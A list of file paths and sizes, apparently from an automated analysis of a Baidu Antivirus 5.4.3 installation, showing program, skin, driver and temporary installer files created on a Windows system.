%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_down_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\context\context.ini (380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BsrScript.dll (3915 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_malicious.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1144.WiseConvertB2.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOa.dll (177 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_openhover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstTool.7z (20416 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_ok.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_normal_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_unsel_nor.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_sel_hot.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\qy.dat (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_threat.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1058.ScenicReflections.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_head_line_blue.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closedown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\point.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin.xml (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1116.NewVeoh.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico0.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin\main-feedback_tittle.png (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hlcf.dat (655 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_down.png (315 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\pbBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\guide_welcome.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\bg2.png (192 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\FloatingWnd.bskin (76 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessRightmenuScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Product-suggestions.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_LogStatus\res\skin\top_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protection_line_item.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportModuleConf_Total.ini (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_update_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1128.EasyTVBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_icon.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1093.BittorrentBar_FRToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessFullScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_game.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnMore.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\virus_bk_line.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\script_info.ini (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_btn_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bglangchoose.png (237 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout1_bg.png (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\waiting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1057.TrustWorthy.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1118.A2ZLyrics.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bl.dat (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\CouponCompanion.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\plugins.xml (6321 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_3.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_info_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex.sys (75 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1227.radsteroids.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm.dll (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installFinishLogo.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4G.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin.xml (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1253.toggleen.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\top_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\bav.7z (715730 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_7_BrowserProtect.png (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\update.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\default.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (40 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1188.InfoAtoms.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\bg_successfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\frameSmall.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsAp.dll (6365 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_default.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_complete_small.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_item_checked.bmp (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavPluginRemove\skin.xml (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon2.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install.ico (146 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1180.TNT2-ide.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_protect_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_popup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DrvInst.dll (673 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstidic.dat (239 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1061.SearchProtect.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1204.flvplayer.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin.xml (6 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\inst.dat (131 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_failed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico5.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ExtendHandler.dll (1801 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1056.WhiteSmkeUSNew.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_unsel_hot.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\icon_warning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_OA\Plugin_Pop_OA.dll (1634 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sbr.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter.sys (51 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1028.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Deals.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Report-suspicious-files.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcsex1.dat (51 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1127.BSPlayerControlBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\virus_bk.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavPulginDarkTip\skin.xml (812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\browser_rec.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ProgramFileList.xml (1630 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1136.AF_HSS.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1033\skin.xml (763 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect.sys (195 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1095.DigiModeToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\bg_animate.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1045.AccuWeather.rul (789 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUa.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Protect\ProtectConf.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\folderBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_critical_reboot.bmp (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\qs2fs_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Protect\Plugin_Protect.dll (1611 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_icon_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\baidu_engine_ico_gray.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_dl_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_safe.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\TitleLogo.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\quickscan_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\icon_red_tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhw.dat (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPe.dll (108 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_on_normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\cloud_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessRightmenuScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHUIHandler.dll (310 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\updating.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\browserext\BdChromePlugin.crx (1618 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportConfig.ini (948 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_engine_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1228.CouponClipster.rul (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_1.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\setting_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\vr.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\GuideSlice_6.png (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\dottedline.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1070.IMVUToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\update_pop_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\lineH.png (995 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\nsc.ini (370 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1254.xfinity.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logo.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsEx.sys (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_download.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_8_slice_browser_secure.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnMore.png (1 bytes)
